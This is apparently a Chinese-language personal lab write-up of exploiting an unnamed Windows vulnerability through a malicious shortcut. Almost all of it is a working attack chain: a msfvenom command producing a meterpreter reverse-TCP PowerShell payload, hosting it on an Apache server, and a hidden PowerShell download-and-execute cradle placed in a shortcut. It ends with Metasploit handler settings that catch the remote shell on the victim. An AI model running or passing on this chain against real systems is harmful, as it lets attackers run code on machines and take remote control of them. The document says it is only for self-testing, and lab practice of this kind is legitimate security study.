該漏洞以存在一段時間,由于能力問題一直未對該漏洞利用方式進行測試,今天學過程中記錄一下測試流程。
- 確認系統是否存在該漏洞
- 使用msfvenom 生成反彈shell,shell生成方式如下:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.16.203.1 LPORT=5555 -f psh-reflection >test.ps1
生成反彈shell
確認生成文件
- 將生成文件放到apache網站根目錄
sudo cp test.ps1 /var/www/html/
復制完成
- 啟用apache服務
sudo service apache2 start
啟動服務后通過curl方式測試是否正常訪問
服務啟動
- 在靶機上啟用powershell鏈接
powershell -windowstyle hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://.../sonar.ps1');xx.ps1" 保存為exe文件。
新建快捷方式
保存
- 在攻擊端監聽反彈
metasploit做以下相關配置:
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/x64/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST ...
msf exploit(handler) > set LPORT ****
msf exploit(handler) > run
啟動監聽
- 在被攻擊端運行創建快捷鍵
- msf獲取到遠程shell
反彈成功
執行系統命令
僅作自己測試,請勿違規使用。